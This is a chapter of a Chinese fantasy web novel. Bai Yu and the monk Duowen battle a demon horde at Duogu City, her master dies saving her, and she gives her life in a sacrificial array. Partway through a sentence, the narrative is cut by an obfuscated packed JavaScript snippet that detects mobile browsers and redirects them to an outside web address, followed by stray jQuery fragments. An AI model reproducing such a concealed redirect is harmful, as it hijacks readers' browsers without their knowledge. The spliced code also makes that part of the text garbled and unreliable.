54. 共敌

作品:《回魂夜

    且说铎文离开后,白羽同牡丹和金梦一路南下,一边除妖一边寻找宣兰踪迹。


    两月之间行迹遍布整个南边,可是仍然一无所获,白羽每次都会与作恶的妖族交手,也有铲除不怠,跑掉了几个漏网之鱼的时候。


    时至二月末,牡丹来凡间的重要职责——春花宴要开了,但她实在放心不下白羽独身在外,金梦的能力就是个花架子,不适合战斗,遇到妖物时约等于无。


    她同白羽商量让她转道去东洲找铎文安排下来的人,白羽也想着南边都找完了,她从西边来的,如今也就东边没找,去找惠云等人也合适,便答应了下来。


    牡丹陪同她走了一段路,时节已至,她必须在三月初一到来前请众花神归位,剩下的路只能白羽和金梦一起走。


    牡丹离开后,白羽和金梦按原计划继续赶路,路上仍是遇妖降妖,遇怪除怪,所以她的行踪暴露得厉害。


    等联系到惠云等人后,得知他们目前正在多妖族聚集的东洲多古城,白羽就和金梦赶过去相助。


    她一到妖族更加猖狂,煽动人族和仙门修士共同对抗白羽,直接暴露她的身份是西山渡涅圣僧在天孚城救下的妖,仙师要抓,人皇袒护,让人皇的威信也大打折扣。


    白羽还在群妖中发现了许久不见的老熟人面孔——花豹子。


    当日在霁风城一场恶战,它在同族以命相搏中撕开结界成功逃脱后就再无音讯,没想到它一直躲在暗中纠集妖族,就是为了今日。


    人族和修士虽然被煽动,但仍有如西山渡涅僧人、琅環仙门、玄雷剑宗这样身在其中的人出来替白羽辩解,紧张对抗的情绪削弱了很多。


    之后又和妖族经历了几次大战,双方各有伤亡,白羽因在战斗中出色的表现,已经令许多人族修士对她改观,隐隐有接纳她的意思。


    变故就发生在转瞬间,人族和妖族最后一场大战中,已熟知白羽所有手段的妖族,在她阵法开至全盛时,连同所有妖族开启场域,触发隐藏在地下许久的妖族大阵,这个大阵疯狂吸食人族生机,修士尚有自保之力,而城中的普通百姓只能眼睁睁被妖阵吞食掉生机,用以壮大作恶多端的妖物,白羽看着他们在阵中逐渐变得干枯、失去血肉之躯,变成一具骷髅,骷髅粉碎,最终尸骨无存。


    她目眦欲裂,想要停止,却发现已经启动的阵法无论如何也停不下来,想要去救他们,自己却冲不进去。


    她瞬间明白了这是蓄谋已久的一场局,用来针对她的一场局。


    果然,妖族在这时再次使出离间计。


    花豹子于阵中欣喜大喊:“多谢白羽姑娘的阵法,为我们大开方便之门,这城中所有凡人都是我们妖族的盘中餐。”


    此话一出,白羽和人族修士哪里还有信任可言,信任本就岌岌可危,如今更是如蜃楼坍塌,不复存焉。


    尚有余力的仙门修士们举起法器大喝一声,就冲着白羽而来,直言要杀了白羽这个首鼠两端的妖孽,为无辜死去的百姓们报仇雪恨。


    白羽充耳不闻,她在想尽办法阻止大阵继续倾轧,已经用上了真正的禁术,导致她本人七窍流血,看着就是命不久矣之姿。


    她背后是无数举起刀枪剑戟的仙门修士,身旁是着急要拉开她的金梦和惠云惠无等人。


    “就差一点点,就差一点点。”白羽喃喃自语,就差一点点,再给她一点时间,她就能破解这个妖族大阵,里面的百姓或许还有尚能生还的可能。


    惠云着实着急,他在白羽姑娘和人妖两族第一次发生冲突时,就用圣僧留下的信灵传信给圣僧了,明知圣僧就算收到信也不可能这么快赶到,但他仍在在心中祈愿圣僧降临,只要圣僧来了,场面一定能被控制住。


    下一刻,金光铺面,无数道金色经文从天而降,筑起一道金光经文结界,将仙门修士和白羽隔绝在两端。


    惠云几乎以为是自己的错觉,直到那个身披白色僧袍的高大清瘦身影行走于身侧时,他才知道是圣僧来了,圣僧终于来了。


    铎文的到来为白羽争取了足够的时间,他痛惜地看着七窍流血的白羽,却没有上前阻止她,而是安静沉默地伫立在她身旁等候,看着白羽努力结印,尝试无数种能够破开阵法的术语。


    终于,坚不可摧的阵法从内部破出一道冰裂般的细纹,自此一发不可收拾,如蛛网般的细纹逐渐汇聚,最终顷刻间破裂。


    白羽冲进多古城中,她不顾眼前蒙上的血雾,四处寻找仍有气息的城中百姓,连续找了三条街,一无所获。


    多古城,一个活物都没有了。


    多古城,成了一座死城。


    这一切都是因为她,白羽懊悔地捂住自己的脸,如果她能早些破开阵法,如果她能早些察觉妖族计划,如果她能早些铲除花豹子……


    旋即她抬起头,不对,造成这一切后果的是作恶的妖族,她已经拼尽全力,又岂可自苦自责,白白让妖族看笑话。


    她手握精铁小扇,猛然抬头直视妖族巢穴。


    一直跟在她身后的铎文被她突然展露出的攻击姿态吓了一跳,温声关心:“白羽姑娘,你还好吗?”


    白羽回头,眼中血雾弥漫,模糊一片,看不甚清,但她似乎知道这人是谁,哑声问道:“圣僧,你怎么在这?”


    “铎文收到惠云的传信,言白羽姑娘身陷险境,是以从师门赶来。”铎文说得很轻巧,他忽略了那些如何与自小教养他长大的师傅抗争辩论,如何在短短几日跨越疆土东西所付出的代价,千言万语只化成一句:“知道你有危险,所以我来了。”


    于此同时,惠云他们也收到了师门传信,此信是告知所有西山渡涅在外弟子,圣僧铎文已脱离西山渡涅宗门,与无量法师解除师徒关系,自此后与西山渡涅再无干系。


    惠云等一干随同铎文出来的僧人,都震惊地看着远处那个同白羽姑娘说话的白衣圣僧。


    西山渡涅最出众的圣僧叛出师门了!


    这怎么可能呢?


    谁都不愿意相信,可这就是真的。


    惠云尤不敢置信,跑上前去问:“圣僧,你为何……?”


    他话还没问完,就被铎文温和坚定地打断了,“惠云,你们先去其他地方看看。”


    惠云没办法再问,他看了几眼白羽,最终还是选择听从铎文的话,带领其他僧人去远处的街巷察看是否还有生还的人。


    白羽的心思没放在这上面,所以也没听出惠云和铎文对话的言外之意。


    惠云他们走后,结界外的叫骂声蓦然变大,都是要铎文把白羽这个妖女交出去严惩,以泄他们心头之恨的,也有人连铎文也骂,骂他背叛人族,袒护妖族,是人族的叛徒,是妖僧。


    一时间群情激愤,众口铄金,将白羽和铎文打成一伙的。


    铎文有意和他们辩解,说他们误会了,白羽姑娘不是这样的人,她与人族站在一起铲除妖邪,却遭妖族陷害,诸位皆是仙门名士,不可轻易受妖族蒙蔽,使白羽姑娘腹背受敌。


    白羽和人族修士之间的信任本就不牢固,刚开始人族修士对于白羽的态度是警惕和戒备,因为看到她在与妖物作战中的出彩表现,这才愿意给予一点点微薄的信任,这点信任本就如同天边彩云,易碎琉璃,是极其不牢固的幻影,如今加注了多古城数万百姓性命,这么重大的代价,导致他们不愿再付予白羽一丝一毫的信任。


    铎文磨破嘴皮也说不通道理,还有消息灵通之人得知了铎文为了白羽叛出师门。


    虽然结果是这样,但他不是单单为了白羽,可是在众人眼中就是这样。


    此地人族修士上千,妖族数百,两方在不断地攻击铎文于两族中架设的金光结界,铎文在苦口婆心的劝说中勉励维持结界,白羽已经向妖族发动了攻击。


    她铁扇如刀,飞羽令箭齐发,所过之处,妖尸纷飞,半身披血。


    铎文能看到她的身姿十分英勇,所向披靡。


    但是人太多了,妖也太多了。


    仅凭他们二人之力相抗,如同天方夜谭。


    铎文见缝插针地来到白羽身边,对她道:“白羽姑娘,此地凶险,铎文助你离开,否则你我二人今日必将命丧于此。”


    白羽已经杀红了眼,她操使精铁小扇回旋一周,顿时收割无数妖族性命,待小扇重新回到手中,她语气淡然地对铎文说:“我活不活不重要,我要它们死。”


    说完她又只身入战局,人族修士这边不是没有大能者,铎文的金光结界在他们强加的攻势下已经摇摇欲坠,铎文想尽可能地为白羽争取时间,他咬破手指,以血画经,加固结界。


    “诸位没有看到白羽姑娘在奋力斩妖吗?如此可还当她是妖族同谋?”


    铎文的声音传至结界外,结界透明,他们当然能看到白羽同数百妖族死斗,那是拼了命的架势,做不得假,但他们几次三番被蒙骗,每相信一次就会付出不小的代价,最重的一次是数万同族性命,哪里还敢再相信狡诈的妖族一分。


    本来有人已经被铎文的说辞和白羽的行为打动,瞬间就有人跳出来驳回他们的恻隐之心,人族修士团结,又开始一致对外。


    惠云他们听到动静返回结界周围,看到的就是白羽姑娘只身对敌妖族,圣僧强撑结界抵挡来势汹汹的四方修士,这是一个必死的结局。


    人族修士中领头之人看到西山渡涅的其他高僧在结界另一端现身,他振臂一呼:“惠云师父,圣僧已经叛出西山渡涅,请助我等打开结界,共同降妖,铲除妖女,为多古城数万百姓报仇雪恨!”


    惠云看到结界泛起橙光,便知圣僧已经用鲜血绘制经文加固结界了,就为了抵挡愤怒中的仙门修士们,给白羽姑娘争取时间。


    他们初学经文创结界时,教授此课的老师傅说过,除非万不得已,不可用自身鲜血画就经文加固结界,否则此人此身精血会全系于经文结界之中,结界破灭,生机尽毁。


    圣僧这是在用命替白羽姑娘守住防线,让她能全力应战。


    “惠云师父,你们还在等什么?助我等破开结界啊!”人族修士催促。


    惠云的视线移向打得火热的白羽和群妖,她一力降十会,妖族中能与她匹敌的也仅只有数人,但是她身上几乎没有一块好肉,她像是不怕疼一般,仍旧是一往无前的姿态。


    惠云沉下眼神,低声同身后同门道:“诸位师兄师弟们,圣僧是无量师叔最为喜爱和看重的弟子,我虽不知他与师叔发生了何事,导致他们师徒二人断绝关系,圣僧脱离师门,但惠云永远视圣僧为瞻首,为我辈翘楚,我相信他的选择,相信自己所看到和感受到的一切。所以,对不住了,我会与圣僧站在一起,他日师门若要追究我的过失,我愿一力承担。诸位师兄师弟,自便。”


    惠云说完就走向铎文,盘坐于他身侧,双掌合十,闭目诵经。


    惠无和其他人对视一眼,全都一言不发地走向铎文,众僧围成一圈,没有一个人多话,全都默契地闭目诵经,加固金光结界。


    铎文苦笑,“你们,这又是何必……”


    众僧这一番动作把结界外的人全看傻了,沉默过后是惊天动地的叫骂。


    “你们这是什么意思,全都要向着那个妖僧和妖女吗?”


    “西山渡涅,欺世盗名,养出这么多心向妖族、佛口蛇心的妖僧,简直是天大的笑话!”


    “老天啊!你睁开眼睛看看,如此妖僧聚集、奸佞当道的宗门,怎配传承佛祖典籍、度化世人。”


    ……


    结界内外乱糟糟一片,白羽这里,她和花豹子终于迎面碰上,双方都对对方怀着满腔的愤恨,都想让对方的命交代在自己手里,回想往日都还是未完全化形的妖族时,那种山林中原始自然的情感恍如上一世的事情了,可也不过是去年的事。


    “白羽,喜欢我送你的这份大礼吗?”花豹子吃了白羽一记扇风,半边脸的皮肉剥离,它丝毫不在乎,充满恶意地问白羽。


    白羽和它无话可说,道不同,不相为谋。


    花豹子继续说:“从你套紫蜘蛛话,将她的妖珠捏碎的那一刻,我就在计划今天的场面了,喜欢我们送你的大礼吗?”


    一想到多古城数万百姓因它丧命,尸骨无存的下场,白羽喉间腥甜翻涌,目露凶相,手下招式越发凌厉,她必须马上杀了花豹子,否则再战下去,真如铎文所说,他们要把命交代在这里了。


    妖族场域叠加,这是一股不容小觑的威力,白羽先前尝试使用献祭杀阵,但是她的阵脚布置不进去,转而她想到自己也有场域,只是从来没有启用过,她用妖力铺展出场域,融进众多妖族叠加的场域中,之后在自己的场域里布置阵法就容易多了。


    她一边和花豹子缠斗一边快速布阵,注意力太过专注以至于没注意到身后来敌。


    那是一只六阶妖珠的蛇妖,具体是什么蛇,白羽觉得眼熟,它的毒牙冷光凛凛,远远就能感受到一股森然之气,如果被它一口咬下去,恐怕见血封喉,即刻毙命。


    白羽是从花豹子志在必得的表情中察觉到身后来敌的,等她看见时想躲已经来不及了。


    “白羽姑娘!”远处铎文风度全失,扔下结界,直奔白羽而来。


    蛇妖毒牙已至白羽面门,她甚至能闻到妖口中的腥臭味。


    但她的攻势被花豹子牵制,腾不出手来对付


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951886|190406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蛇妖,白羽拼尽全力挥出一扇,只堪堪将它的毒牙扇偏一厘。


    白羽心想,不会真的要死在蛇口中吧?


    下一瞬,她预想中的疼痛没有爬上她的肩背,转头去看,一条通体金色的藤蔓绞缠住碗口粗的蛇身,藤身上金叶如刀片,深深扎进蛇身鳞片中,带有尖刺的一端插入蛇妖七寸之中,静静躺在那里的妖珠碎裂。但与此同时,原本漂亮通透的金色叶片脉络上一寸寸爬上墨色浓毒,转眼间就让金色藤蔓枯萎干瘪。


    “师父!”白羽撕心裂肺地喊出深藏心底的称呼。


    救她的人,是金梦是师父。


    金梦不善作战,白羽加入战圈的那一刻就让他找个地方躲起来,她和妖族没有分出胜负之前让他不要出来。


    可是他究竟是怎么做到如此精准地在蛇妖口中救下她,并且缠住蛇妖,一举扎碎它的妖珠的呢?


    白羽不得而知。


    铎文飞奔至白羽身旁时,他看到的就是和蛇妖一起消散的金梦,以及悲痛欲绝的白羽。


    铎文不知金梦究竟是何身份,但是同路以来,白羽和牡丹二人对其态度都十分微妙,谨慎地闭口不谈过往,沉默中又有尊敬和亲切。


    但就在白羽喊出那声“师父”之后,铎文觉得他好像什么都明白了,又不清楚自己明白了什么。


    他第一次尝试去拥抱悲痛中的白羽,安慰的话说不出口,他就在她耳边诵出那些耳熟能详、倒背如流的往生经文,一遍又一遍,不厌其烦。


    “真是可惜,让你躲过去了。”花豹子恶意嘲讽,“你真是命好啊,什么时候都有心甘情愿为你赴死的人,不过下次可就不一定了。”


    白羽的泪开始倒流,她推开铎文,从他胸前抬起头,收敛一切脆弱和无助。


    她的使命还没有完成,她的阵法只差启动,她没有功夫悼念亡者,她要手刃罪魁祸首。


    白羽的恢复能力让花豹子吃惊,下一瞬他就不得不迎上她的攻势。


    铎文背靠白羽,当起了她的第二双眼睛。


    白羽在场域中的献祭阵法布置完毕,她回忆着当时那本禁术古籍中的记载。


    献祭阵法:万载宇内,以施术人的意志为基,辅以山川草木、百兽魂灵,可在限定范围内灭杀一切生灵。阵法要倾注施术之人全身血液,所以威力极大,同样地,要付出的代价也极大。


    白羽知道自己只要割开腕脉,就可以将此间妖族一举歼灭,且不会伤及在阵法内的惠云等人,她自己是决计活不成了,她看得很开,这就是她要的结果。


    “圣僧,这一路以来多仰赖你的关照,你有一颗这世间最为圣洁的心。不过,我还是想告诉你,你找错人了,我不是你的命定之人。”白羽驱使精铁小扇割开全身血脉,留下最后一句话:“圣僧,再见。”


    数条血线从白羽身体注入妖族叠加的场域中,在场的人与妖皆没反应过来时,白羽启动阵法。


    妖族被困,无法动弹。


    群妖哀嚎叫骂,声声呜咽中,铎文声音颤抖,尤不可置信地问道:“白羽姑娘,你要做什么?”


    白羽没有给他回答,一阵耀眼的红光过后,妖族叠加出来的五颜六色的场域中,哀鸣停止,五光十色,花豹子震天怒吼:“白羽,若有来世,我定要将你千刀万剐!”


    一切归于寂静,金光结界消失,场域消失,白羽和铎文消失。


    结界外的人族修士半信半疑地踏入结界内,看到惠云等僧人仰躺于地,探过鼻息后发现都还活着。


    结界内原本被妖族占据的地方断壁残垣,没有丝毫活物的气息。


    只有从空中不断掉落的妖尸,落于地上时,还在消散。


    众人看着这样的场景,齐齐沉默。


    直到有一个人战战兢兢地问:“怎么不见圣僧和那妖……女子的尸身呢?”


    没人回答。


    ---


    东洲近海的一处仙山上,终年葱郁,飞禽走兽自由自在地栖息在山林间。


    一名白色僧袍披身,金线经文铺满全身的年轻僧人行走其间,他怀中抱着一个近乎血人的瘦弱姑娘,所过之处,寒气冰封,只观面色,这两人都没有久寿之相。


    僧袍男子抱着已经没有生机的血人姑娘蹲在河边,掏出手帕,蘸取三月河水一点一点擦去她脸上、脖颈、双手的血迹,露出底下青白的肤色,他擦得很仔细很认真,仿佛对待一件极其易碎的精美瓷器一般,一边擦一边哈气,害怕三月乍暖还寒的河水冻着她,只是他口中哈出来的寒气比之河水更甚,不一会儿就在姑娘手上结了一层薄薄的冰壳。


    他不敢再哈气,只能把她抱在怀里紧紧捂着。


    两具冰冷的身体是无法互相取暖的。


    僧人给这姑娘清理完血迹,又抱起她往深山里走,他找到一处避风的掏空崖体,小心翼翼地坐下身。


    他将姑娘平放在铺垫了茅草的草堆里,眼神深深地凝望着她的面容,像是要把她记在心里一样。


    终于记住了,他开始双手合十念咒,隐隐约约的金光经文缠绕在两人周身。


    他想把自己为数不多的命数换给这个已经失去生机的姑娘。


    他用自己得天独厚的命数同佛祖交换了两次,一次拔地千里,速至东洲;一次逃脱阵法,以命抵命。


    最后一个只成功了一半,但没关系,他还有办法。


    不知道为什么,他一边施咒,一边想,他什么都没想,只是有一股强烈的意愿告诉他,他不想看她再一次死在她面前。


    可为什么是再一次,难道她之前也在他眼前死过吗?


    他们之前认识吗?


    那又是什么故事?


    咒术施行完最后阶段,他放下惨白尤带寒气的双手,费力将白羽上半身提靠在他腿上,他靠在身后的崖壁上,借着这一点遮风避雨之所,眺望远方,静静等待白羽苏醒。


    他看世间万物的目光仍然明亮清澈,平淡温和,超然物外,唯独落在白羽身上时,如蜻蜓点水荡起一丝丝的涟漪,延绵不绝。


    他又看向远方,山间雾气弥漫,春意盎然,杂花生树,鸟鸣于野。


    忽听女子温温淡淡的声音说:“圣僧,花开了。”


    “对,花开了,冬天过去了。”他这样回。


    “真好啊,春天来了。”


    白羽闭上眼睛,细嗅濛濛水汽中夹杂着花香,以及一丝淡不可闻的沉水檀香,低低道:“圣僧,我们还会再见面的。”


    “嗯。”


    “可惜再见你不认识我。”


    “不会。”


    最后一丝沉水檀香从她鼻端消失,白羽心道:会的。